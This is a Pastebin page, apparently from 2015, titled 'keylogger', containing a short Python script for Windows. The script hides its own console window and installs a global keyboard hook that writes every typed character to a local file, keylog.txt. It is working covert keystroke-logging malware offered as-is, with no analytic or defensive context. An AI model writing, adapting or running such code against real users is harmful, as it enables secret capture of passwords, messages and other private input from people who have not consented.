Rendyan

keylogger

Dec 13th, 2015
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.48 KB | None | 0 0
  1. import pyHook
  2. import pythoncom
  3. import win32gui
  4. import win32console
  5.  
  6. log_file='keylog.txt'                  
  7. window=win32console.GetConsoleWindow()  
  8. win32gui.ShowWindow(window,0)            
  9.  
  10. def pressed_chars(event):      
  11.     if event.Ascii:
  12.         f=open(log_file,'a')  
  13.         char=chr(event.Ascii)
  14.         f.write(char)          
  15.  
  16. proc = pyHook.HookManager()      
  17. proc.KeyDown = pressed_chars    
  18. proc.HookKeyboard()              
  19. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment